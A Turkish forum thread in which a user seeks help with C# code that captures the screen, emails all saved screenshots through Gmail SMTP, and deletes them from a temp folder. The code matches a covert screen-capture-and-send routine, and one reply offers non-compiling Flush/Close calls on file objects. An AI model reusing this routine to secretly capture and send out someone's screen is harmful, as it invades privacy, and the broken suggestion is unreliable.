Neler Yeni

Çözüldü✓ C# İşlem, başka bir işlem tarafından kullanılıyor hatası

Katılım
26 Haziran 2021
Mesajlar
6
Dahası  
Reaksiyon skoru
1
İsim
samet anac
arkadaşlar ben ekran görüntüsünü alıp bi klasöre attırıyorum sonra o klasördeki bütün dosyaları maile atıp sonradan dosyayı silmeye çalışıyorum
maile göndermeye kadar sorun yok fakat maile gönderdikten sonra
klasörün içindeki bütün dosyaları silmeye çalıştıgında "İşlem, başka bir işlem tarafından kullanıldığından '19.16.17.png' dosyasına erişemiyor hatası" bu hatayı alıyorum kodları aşağıya bırakıyorum
çözebilen varsa
C#:
                string saat = DateTime.Now.ToLongTimeString();
                string set = saat.Replace(':', '.');
                int ekran_x = Screen.GetBounds(new Point(0, 0)).Width;
                int ekran_y = Screen.GetBounds(new Point(0, 0)).Height;
                Bitmap screenShot = new Bitmap(ekran_x, ekran_y);
                Graphics grp = Graphics.FromImage((Image)screenShot);
                grp.CopyFromScreen(0, 0, 0, 0,new Size(ekran_x, ekran_y));
            screenShot.Save(@Path.GetTempPath() + @"tera\" + set + ".png", ImageFormat.Png);
            SmtpClient sc = new SmtpClient();
            sc.Port = 587;
            sc.Host = "smtp.gmail.com";
            sc.EnableSsl = true;

            sc.Credentials = new NetworkCredential("[email protected]", "x");
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress("[email protected]", "x");
            mail.To.Add("[email protected]");
            mail.Subject = "sa";
            mail.Body = "as";

            foreach (string filePath in Directory.GetFiles(Path.GetTempPath() + @"tera\"))
            {
                System.Net.Mail.Attachment Attach = new System.Net.Mail.Attachment(filePath);
                mail.Attachments.Add(Attach);
            }

            sc.Send(mail);
             System.IO.DirectoryInfo klasor = new DirectoryInfo(Path.GetTempPath() + @"tera\");

            foreach (FileInfo dosya in klasor.GetFiles())
            {
                dosya.Delete();
            }
            foreach (DirectoryInfo k in klasor.GetDirectories())
            {
                k.Delete(true);
            }
 
Son düzenleme:

MikoBura

80+
Katılım
12 Ağustos 2020
Mesajlar
396
Dahası  
Reaksiyon skoru
167
İsim
İbrahim Akın Lekesiz
Muhtemelen açtığın File işlemini kapatmadığın için böyle bir hata oluşuluyor.
Örneğin bir dosya'da işlem yaptın ve ardından o işlemi kapatmadan başka bir File işleminde yine aynı dosyada düzenleme yapmaya çalışıyorsun.
Eski işlem hâlâ devam ediyor ve yeni açtığın File işlemi'de aynı dosya üzerinde işlem yapmaya çalıştığı için hata veriyor.

Her işlemden sonra
C#:
fs.Flush();
fs.Close();
şeklinde işlemi sonlandırmalısın.
 
Katılım
26 Haziran 2021
Mesajlar
6
Dahası  
Reaksiyon skoru
1
İsim
samet anac
  • Konu Sahibi Konu Sahibi
  • #3
Muhtemelen açtığın File işlemini kapatmadığın için böyle bir hata oluşuluyor.
Örneğin bir dosya'da işlem yaptın ve ardından o işlemi kapatmadan başka bir File işleminde yine aynı dosyada düzenleme yapmaya çalışıyorsun.
Eski işlem hâlâ devam ediyor ve yeni açtığın File işlemi'de aynı dosya üzerinde işlem yapmaya çalıştığı için hata veriyor.

Her işlemden sonra
C#:
fs.Flush();
fs.Close();
şeklinde işlemi sonlandırmalısın.
bütün kodları yukarda verdim dostum başka ayrı bir kod yokki tek kod yukardaki
 

MikoBura

80+
Katılım
12 Ağustos 2020
Mesajlar
396
Dahası  
Reaksiyon skoru
167
İsim
İbrahim Akın Lekesiz
C#:
            string saat = DateTime.Now.ToLongTimeString();
            string set = saat.Replace(':', '.');
            int ekran_x = Screen.GetBounds(new Point(0, 0)).Width;
            int ekran_y = Screen.GetBounds(new Point(0, 0)).Height;
            Bitmap screenShot = new Bitmap(ekran_x, ekran_y);
            Graphics grp = Graphics.FromImage((Image)screenShot);
            grp.CopyFromScreen(0, 0, 0, 0,new Size(ekran_x, ekran_y));
            screenShot.Save(@Path.GetTempPath() + @"tera\" + set + ".png", ImageFormat.Png);

            SmtpClient sc = new SmtpClient();
            sc.Port = 587;
            sc.Host = "smtp.gmail.com";
            sc.EnableSsl = true;

            sc.Credentials = new NetworkCredential("[email protected]", "x");
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress("[email protected]", "x");
            mail.To.Add("[email protected]");
            mail.Subject = "sa";
            mail.Body = "as";

            foreach (string filePath in Directory.GetFiles(Path.GetTempPath() + @"tera\"))
            {
                System.Net.Mail.Attachment Attach = new System.Net.Mail.Attachment(filePath);
                mail.Attachments.Add(Attach);
            }

            sc.Send(mail);
            System.IO.DirectoryInfo klasor = new DirectoryInfo(Path.GetTempPath() + @"tera\");

            foreach (FileInfo dosya in klasor.GetFiles())
            {
                dosya.Delete();
                dosya.Flush();
                dosya.Close();
            }

            foreach (DirectoryInfo k in klasor.GetDirectories())
            {
                k.Delete(true);
                k.Flush();
                k.Close();
            }
Bir deneyebilir misin?
 
Katılım
26 Haziran 2021
Mesajlar
6
Dahası  
Reaksiyon skoru
1
İsim
samet anac
  • Konu Sahibi Konu Sahibi
  • #5
C#:
            string saat = DateTime.Now.ToLongTimeString();
            string set = saat.Replace(':', '.');
            int ekran_x = Screen.GetBounds(new Point(0, 0)).Width;
            int ekran_y = Screen.GetBounds(new Point(0, 0)).Height;
            Bitmap screenShot = new Bitmap(ekran_x, ekran_y);
            Graphics grp = Graphics.FromImage((Image)screenShot);
            grp.CopyFromScreen(0, 0, 0, 0,new Size(ekran_x, ekran_y));
            screenShot.Save(@Path.GetTempPath() + @"tera\" + set + ".png", ImageFormat.Png);

            SmtpClient sc = new SmtpClient();
            sc.Port = 587;
            sc.Host = "smtp.gmail.com";
            sc.EnableSsl = true;

            sc.Credentials = new NetworkCredential("[email protected]", "x");
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress("[email protected]", "x");
            mail.To.Add("[email protected]");
            mail.Subject = "sa";
            mail.Body = "as";

            foreach (string filePath in Directory.GetFiles(Path.GetTempPath() + @"tera\"))
            {
                System.Net.Mail.Attachment Attach = new System.Net.Mail.Attachment(filePath);
                mail.Attachments.Add(Attach);
            }

            sc.Send(mail);
            System.IO.DirectoryInfo klasor = new DirectoryInfo(Path.GetTempPath() + @"tera\");

            foreach (FileInfo dosya in klasor.GetFiles())
            {
                dosya.Delete();
                dosya.Flush();
                dosya.Close();
            }

            foreach (DirectoryInfo k in klasor.GetDirectories())
            {
                k.Delete(true);
                k.Flush();
                k.Close();
            }
Bir deneyebilir misin?
1624726681440.png

sorun şu kodda
foreach (string filePath in Directory.GetFiles(yol))
{
System.Net.Mail.Attachment Attach = new System.Net.Mail.Attachment(filePath);
mail.Attachments.Add(Attach);
}
bu kodu kaldırdıgımda otomatik klasörden silme işlemini tamamlıyor
 

MikoBura

80+
Katılım
12 Ağustos 2020
Mesajlar
396
Dahası  
Reaksiyon skoru
167
İsim
İbrahim Akın Lekesiz
Valla daha önce file'larla işlem yapmadım anlayamadım kusura bakma
Mesaj otomatik birleştirildi:

Söylediğin hata sadece file işlemlerinde oluyor ve bir işlem yapıp sonlandırmadığın zaman oluyor deneme yanılma yöntemiyle hepsini tek tek kapatmayı deneyebilirsin :D aklıma tek bu geliyor.
 
Katılım
26 Haziran 2021
Mesajlar
6
Dahası  
Reaksiyon skoru
1
İsim
samet anac
  • Konu Sahibi Konu Sahibi
  • #7
Valla daha önce file'larla işlem yapmadım anlayamadım kusura bakma
Mesaj otomatik birleştirildi:

Söylediğin hata sadece file işlemlerinde oluyor ve bir işlem yapıp sonlandırmadığın zaman oluyor deneme yanılma yöntemiyle hepsini tek tek kapatmayı deneyebilirsin :D aklıma tek bu geliyor.
öyle yaptım sorun for döngüsünde
 

Katan

80+
Katılım
26 Haziran 2021
Mesajlar
2
Dahası  
Reaksiyon skoru
2
İsim
Selim Adasli
sc.Send(mail);
sc.Dispose();

Yapman gerekli. Yapmazsan kaynaklar kullanılmaya devam edileceği için o dosya üzerinde bir işlem yapamazsın. İyi forumlar.
 
Katılım
26 Haziran 2021
Mesajlar
6
Dahası  
Reaksiyon skoru
1
İsim
samet anac
  • Konu Sahibi Konu Sahibi
  • #9
sc.Send(mail);
sc.Dispose();

Yapman gerekli. Yapmazsan kaynaklar kullanılmaya devam edileceği için o dosya üzerinde bir işlem yapamazsın. İyi forumlar.
social microsoft forumundan sorun buldum using içine almadıgımdan başka bir kod gelebileceği için halen çalışır halde tutuyormuş sorun çözüldü iyi forumlar
 
Top Bottom